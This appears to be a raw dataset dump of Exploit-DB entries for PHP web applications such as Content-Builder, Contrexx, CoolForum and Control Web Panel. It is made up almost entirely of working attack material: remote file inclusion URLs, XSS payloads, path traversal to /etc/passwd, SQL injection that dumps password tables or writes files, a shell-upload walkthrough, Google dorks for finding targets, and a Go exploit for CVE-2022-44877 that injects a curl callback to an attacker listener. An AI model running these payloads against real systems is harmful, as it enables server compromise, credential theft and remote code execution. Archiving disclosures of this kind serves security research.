deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1914
Description: Content-Builder (CMS) 0.7.2 - Multiple Include Vulnerabilities
Type: webapps
Platform: php
Date: 2006-06-14
Author: Kacper

Exploit:
$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  Content*Builder <= 0.7.2 Remote File Include Vulnerability
$$  script site: http://www.content-builder.net/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
/*
many bugs :>
*/
#Expl:


http://www.site.com/[cb_path]/libraries/comment/postComment.php?path[cb]=[evil_scripts]

http://www.site.com/[cb_path]/modules/archive/overview.inc.php?rel=[evil_scripts]

http://www.site.com/[cb_path]/modules/article/fullarticle.inc.php?rel=[evil_scripts]

http://www.site.com/[cb_path]/modules/article2/fullarticle.inc.php?rel=[evil_scripts]

http://www.site.com/[cb_path]/modules/download/detailView.inc.php?rel=[evil_scripts]

http://www.site.com/[cb_path]/modules/download/overview.inc.php?rel=[evil_scripts]

http://www.site.com/[cb_path]/modules/forum/showThread.inc.php?actualModuleDir=[evil_scripts]

http://www.site.com/[cb_path]/modules/sitemap/sitemap.inc.php?path[cb]=[evil_scripts]

http://www.site.com/[cb_path]/modules/guestbook/guestbook.inc.php?rel=[evil_scripts]

http://www.site.com/[cb_path]/modules/headline/headlineBox.php?rel=[evil_scripts]

http://www.site.com/[cb_path]/modules/headline/showHeadline.inc.php?rel=[evil_scripts]

http://www.site.com/[cb_path]/modules/poll/poll.php?path[cb]=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-14]
Exploit-DB #1903
Description: Content-Builder (CMS) 0.7.5 - Multiple Include Vulnerabilities
Type: webapps
Platform: php
Date: 2006-06-11
Author: Federico Fazzi

Exploit:
-----------------------------------------------------
Advisory id: FSA:012

Author:    Federico Fazzi
Date:      11/06/2006, 22:30
Sinthesis: Content-Builder (CMS) 0.7.5, Remote command execution
Type:      high
Product:   http://www.content-builder.de/
Patch:     unavailable
-----------------------------------------------------


1) Description:

vulnerables page:

Multiple vulnerabilities, see poc.

2) Proof of concept:

http://example/[cb_path]/cms/plugins/col_man/column.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/poll/poll.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/user_managment/usrPortrait.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/user_managment/user.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/media_manager/media.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/events/permanent.eventMonth.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/events/events.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/newsletter2/newsletter.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/modules/guestbook/guestbook.inc.php?path[cb]=[cmd_url]/
http://example/[cb_path]/modules/shoutbox/shoutBox.php?path[cb]=[cmd_url]/
http://example/[cb_path]/modules/download/overview.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/download/detailView.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/sitemap/sitemap.inc.php?path[cb]=[cmd_url]/
http://example/[cb_path]/modules/article/fullarticle.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/article/comments.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/article2/overview.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/article2/fullarticle.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/article2/comments.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/headline/headlineBox.php?rel=[cmd_url]/
http://example/[cb_path]/modules/headline/showHeadline.inc.php?rel=[cmd_url]/

(note: add a cmd url with final slash (/))

3) Solution:

sanitized all variables on all files.

# milw0rm.com [2006-06-11]
Exploit-DB #26270
Description: Content2Web 1.0.1 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2005-09-16
Author: Security Tester

Exploit:
source: https://www.securityfocus.com/bid/14862/info

Content2Web is affected by multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this lack of sanitization to perform SQL injection attacks, cross-site scripting attacks and include local PHP files. It may also be possible to include remote PHP files as well; this has not been confirmed.

The consequences of these attacks vary from a compromise of the system, the execution of arbitrary code and the theft of cookie-based authentication credentials, all in the context of the Web server process.

SQL Injection
-------------
http://www.example.com/index.php?show=c2w_news%2Ephp&cat=news_archiv

XSS
---
http://www.example.com/index.php?show=%3C/textarea%3E%3Cscript%3Ealert(%27XSS
aka %27);%3C/script%3E&site=impressum

File Inclusion
--------------
http://www.example.com/index.php?show=[file]&cat=news_archiv&start=1
Exploit-DB #27688
Description: ContentBoxx - 'login.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-19
Author: botan

Exploit:
source: https://www.securityfocus.com/bid/17612/info

ContentBoxx is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/cms/login.php?action=XSS
Exploit-DB #30732
Description: CONTENTCustomizer 3.1 - 'Dialog.php' Information Disclosure
Type: webapps
Platform: php
Date: 2007-11-01
Author: d3hydr8

Exploit:
source: https://www.securityfocus.com/bid/26291/info

CONTENTCustomizer is prone to an information-disclosure vulnerability.

An attacker can exploit this issue to access sensitive information that may lead to further attacks.

CONTENTCustomizer 3.1mp is vulnerable; other versions may also be affected. 

http://www.example.com/dialog.php?action=editauthor&doc=pagename
Exploit-DB #30764
Description: CONTENTCustomizer 3.1 - 'Dialog.php' Unauthorized Access
Type: webapps
Platform: php
Date: 2007-11-14
Author: d3hydr8

Exploit:
source: https://www.securityfocus.com/bid/26437/info

CONTENTCustomizer is prone to an unauthorized access vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker could exploit this issue to delete arbitrary files, rename files, or reset the content of certain files.

CONTENTCustomizer 3.1mp is vulnerable; other versions may also be affected.

http://www.example.com/dialog.php?action=del&doc='+pagename // Delete
http://www.example.com/dialog.php?action=delbackup&doc='+pagename // Delete Backup
http://www.example.com/dialog.php?action=res&doc='+pagename // Reset
http://www.example.com/dialog.php?action=ren&doc='+pagename // Rename
Exploit-DB #36870
Description: ContentLion Alpha 1.3 - 'login.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-02-22
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/52112/info

ContentLion Alpha is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

ContentLion Alpha 1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/contentlion-alpha-1-3/login.html?'"</script><script>alert('JaVaScr1pT')</script>
Exploit-DB #2776
Description: ContentNow 1.30 - Arbitrary File Upload / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-14
Author: Timq

Exploit:
ContentNow Directory Traversal(upload.php)
------------------------------------------
-vulnerability By: Timq 
-http://securitydb.org
-Team Root-Shell
-Email:timq[at]hushmail.com
------------------------------------------
It appears that it is possible to view any files on a system via 'upload.php'.
Proper filtering not in affectfor the 'path' and 'folder' variables.  You can also upload
malicious files to where you have access through 'upload.php'.
------------------------------------------
~PoC
------------------------------------------
http://site.com/cn/upload.php?path=/
http://site.com/cn/upload.php?folder=/
XSS:
http://site.com/cn/upload.php?path="><script>alert("xss")</script>
D0rk:
intitle:intitle:ContentNow 
------------------------------------------
shouts:Warpboy,Zeusixsixsix,Stansar,Preddy,OG,PunkerX,Ethernet,str0ke,Gamma,Maggot
everyone else
------------------------------------------

# milw0rm.com [2006-11-14]
Exploit-DB #6011
Description: ContentNow 1.4.1 - Arbitrary File Upload / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-06
Author: CWH Underground

Exploit:
===============================================================
  ContentNow CMS (Upload/XSS) Multiple Remote Vulnerabilities
===============================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 6 July 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : Content CMS
 VERSION     : 1.4.1
 VENDOR	     : http://www.contentnow.mf4k.de
 DOWNLOAD    : http://downloads.sourceforge.net/contentnow/contentNow_141.zip
#####################################################

--- Arbitrary File Upload ---

	This Vulnerability can upload malicious files direct to web server.

[Login as user]

[+] Upload Path: http://[Target]/[contentNow_path]/upload.php?path=/[contentNow_path]/upload/

    [-] Example: http://192.168.24.25/contentNow/cn/upload.php?path=/contentNow/upload/

[+] Shell Script: http://[Target]/[contentNow_path]/upload/file/[Evil File]

    [-] Example: http://192.168.24.25/contentNow/upload/file/myshell.php


--- Remote XSS Exploit ---

-------------
 POC Exploit
-------------

[+] http://192.168.24.25/contentnow/upload/file/language_menu.php/>"><script>alert("XSS")</script>
[+] http://192.168.24.25/contentnow/upload/file/language_menu.php?pageid=>"><script>alert("XSS")</script>&clang=en

##################################################################
  Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  
##################################################################

# milw0rm.com [2008-07-06]
Exploit-DB #26896
Description: ContentServ 3.0/3.1/4.0 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15956/info

ContentServ is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version 3.1 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/index.php?StoryID=[SQL]
Exploit-DB #2878
Description: ContentServ 4.x - '/admin/FileServer.php' File Disclosure
Type: webapps
Platform: php
Date: 2006-12-01
Author: qobaiashi

Exploit:
ContentServ again (still) features remote reading of arbitrary files
====================================================================

ContentServ is a cms and "cross media publishing" software.

Let me quote from their website:

"At ContentServ, there is always something happening. We continously enhance our products and services.[...]"

Ok.

Now for the real fun remember:
http://archives.neohapsis.com/archives/fulldisclosure/2005-09/0650.html


Still with me? Ok. Lets forget the sql injections for a moment, what if we try:
http://somesite/contentserv/4.2/admin/FileServer.php?src=../../../../../etc/passwd

# milw0rm.com [2006-12-01]
Exploit-DB #26019
Description: Contrexx 1.0.4 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2005-07-22
Author: Christopher Kunz

Exploit:
source: https://www.securityfocus.com/bid/14352/info

Contrexx is affected by multiple input validation vulnerabilities. These issues can allow an attacker to carry out HTML injection, SQL injection and information disclosure attacks.

Contrexx versions prior to 1.0.5 are affected. 

supply the 'votingoption' parameter as value="1 /*!50030%20s*/" and submit the form.

/index.php?section=gallery&cmd=showCat&cid=41&pId=1%20/**/UNION/**/%20/**/SELECT/**/%201,1,CONCAT(username,'-',password),1,1,1%20/**/FROM%20contrexx_access_users

/index.php?section=search&term=%22%3E%3Cscr\ipt%3Ealert(%22xss%22)%3C/sc\ript%3E

Create a blog entry with the title <script>alert('xss')</script>
Exploit-DB #27427
Description: Contrexx CMS 1.0.x - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-16
Author: Soot

Exploit:
source: https://www.securityfocus.com/bid/17128/info

Contrexx CMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.


http://www.example.com/path/index.php/"><script>alert(/Soot/)</script>
Exploit-DB #40366
Description: Contrexx CMS egov Module 1.0.0 - SQL Injection
Type: webapps
Platform: php
Date: 2016-09-13
Author: hamidreza borghei

Exploit:
# Exploit Title: Contrexx CMS:egov moudle SQL injection
# Google Dork: inurl:?section=egov
# Date: 12/9/2016
# Exploit Author: hamidreza borghei
# Software Link: https://www.cloudrexx.com/de/index.php?section=downloads&cmd=7&category=8
# Version: 1.0.0
# Tested on: linux

sql injection in id parameter:

http://server/index.php?section=egov&cmd=details&id=[sql query]
Exploit-DB #51250
Description: Control Web Panel 7 (CWP7) v0.9.8.1147 -  Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2023-04-05
Author: Mayank Deshmukh

Exploit:
// Exploit Title: Control Web Panel 7 (CWP7) v0.9.8.1147 -  Remote Code Execution (RCE)
// Date: 2023-02-02
// Exploit Author: Mayank Deshmukh
// Vendor Homepage: https://centos-webpanel.com/
// Affected Versions: version < 0.9.8.1147
// Tested on: Kali Linux
// CVE : CVE-2022-44877
// Github POC: https://github.com/ColdFusionX/CVE-2022-44877-CWP7

// Exploit Usage : go run exploit.go -u https://127.0.0.1:2030 -i 127.0.0.1:8020

package main

import (
    "bytes"
    "crypto/tls"
    "fmt"
    "net/http"
    "flag"
    "time"
)

func main() {

    var host,call string
    flag.StringVar(&host, "u", "", "Control Web Panel (CWP) URL (ex. https://127.0.0.1:2030)")
    flag.StringVar(&call, "i", "", "Listener IP:PORT (ex. 127.0.0.1:8020)")

    flag.Parse()

    banner := `
-= Control Web Panel 7 (CWP7) Remote Code Execution (RCE) (CVE-2022-44877) =-
- by Mayank Deshmukh (ColdFusionX)

`
     fmt.Printf(banner)
     fmt.Println("[*] Triggering cURL command")

     fmt.Println("[*] Open Listener on " + call + "")

    //Skip certificate validation
    tr := &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    }
    client := &http.Client{Transport: tr}

    // Request URL
    url := host + "/login/index.php?login=$(curl${IFS}" + call + ")"

    // Request body
    body := bytes.NewBuffer([]byte("username=root&[CREDENTIAL_REDACTED]=Login"))

    // Create HTTP client and send POST request
    req, err := http.NewRequest("POST", url, body)
    req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("Error sending request:", err)
        return
    }
    time.Sleep(2 * time.Second)

    defer resp.Body.Close()
    fmt.Println("\n[*] Check Listener for OOB callback")
}
Exploit-DB #27498
Description: CONTROLzx Hms 3.3.4 - 'dedicated_order.php?dedicatedPlanID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17282/info
 
CONTROLzx HMS is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
CONTROLzx HMS 3.3.4 is vulnerable. Other versions may be affected as well.

http://www.example.com/dedicated_order.php?dedicatedPlanID=1[XSS]
Exploit-DB #27499
Description: CONTROLzx Hms 3.3.4 - 'server_management.php?plan_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17282/info
  
CONTROLzx HMS is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
CONTROLzx HMS 3.3.4 is vulnerable. Other versions may be affected as well.

http://www.example.com/customers/server_management.php?plan_id=1[XSS]
Exploit-DB #27497
Description: CONTROLzx Hms 3.3.4 - 'shared_order.php?sharedPlanID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17282/info

CONTROLzx HMS is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.


CONTROLzx HMS 3.3.4 is vulnerable. Other versions may be affected as well.

http://www.example.com/shared_order.php?sharedPlanID=1[XSS]
Exploit-DB #42927
Description: ConverTo Video Downloader & Converter 1.4.1 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2017-09-29
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: ConverTo Video Downloader & Converter 1.4.1 - Arbitrary File Download
# Dork: N/A
# Date: 29.09.2017
# Vendor Homepage: https://codecanyon.net/user/lemonadeflirt
# Software Link: https://codecanyon.net/item/converto-video-downloader-converter/13225966
# Demo: http://vd.googglet.com/
# Version: 1.4.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The security obligation allows an attacker to arbitrary download files..
#
# Vulnerable Source:
#
# .............
# <?php
# 
# include_once('.......php');
# // Check download token
# if (empty($_GET['mime']) OR empty($_GET['token']))
# {
# 	exit('Invalid download token 8{');
# }
# 
# // Set operation params
# $mime = filter_var($_GET['mime']);
# $ext  = str_replace(array('/', 'x-'), '', strstr($mime, '/'));
# $url  = base64_decode(filter_var($_GET['token']));
# $name = urldecode($_GET['title']). '.' .$ext; 
# 
# ?>
# .............
# Proof of Concept:
#
# http://localhost/[PATH]/download.php?mime=video/webm&title=Efe&token=[FILENAME_to_BASE64]
# 
# Etc...
# # # # #
Exploit-DB #25239
Description: CoolForum 0.5/0.7/0.8 - 'avatar.php?img' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-03-19
Author: Romano

Exploit:
source: https://www.securityfocus.com/bid/12852/info

Multiple remote input validation vulnerabilities affect CoolForum. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical functionality.

Multiple SQL injection vulnerabilities have been reported and a cross-site scripting vulnerability is also reported.

An attacker may leverage these issues to manipulate and view arbitrary database contents by exploiting the SQL injection issues, and to have arbitrary script code executed in the browser of an unsuspecting user by exploiting the cross-site scripting vulnerabilities. 

avatar.php?img=<script>alert(document.cookie)</script>
Exploit-DB #25240
Description: CoolForum 0.5/0.7/0.8 - 'register.php?login' SQL Injection
Type: webapps
Platform: php
Date: 2005-03-19
Author: Romano

Exploit:
source: https://www.securityfocus.com/bid/12852/info
 
Multiple remote input validation vulnerabilities affect CoolForum. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical functionality.
 
Multiple SQL injection vulnerabilities have been reported and a cross-site scripting vulnerability is also reported.
 
An attacker may leverage these issues to manipulate and view arbitrary database contents by exploiting the SQL injection issues, and to have arbitrary script code executed in the browser of an unsuspecting user by exploiting the cross-site scripting vulnerabilities. 

http://www.example.com/register.php?action=confirm&login='or 1=1 into outfile '/var/www/html/cf_users_with_magic_quotes_on.txt
Exploit-DB #27964
Description: CoolForum 0.x - 'editpost.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-06-05
Author: DarkFig

Exploit:
source: https://www.securityfocus.com/bid/18268/info

CoolForum is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/editpost.php?forumid=1&post=3 UNION SELECT userid,login,password FROM cf_user INTO OUTFILE &#039;/www/web/resultat.txt&#039;%23&parent=1&p=1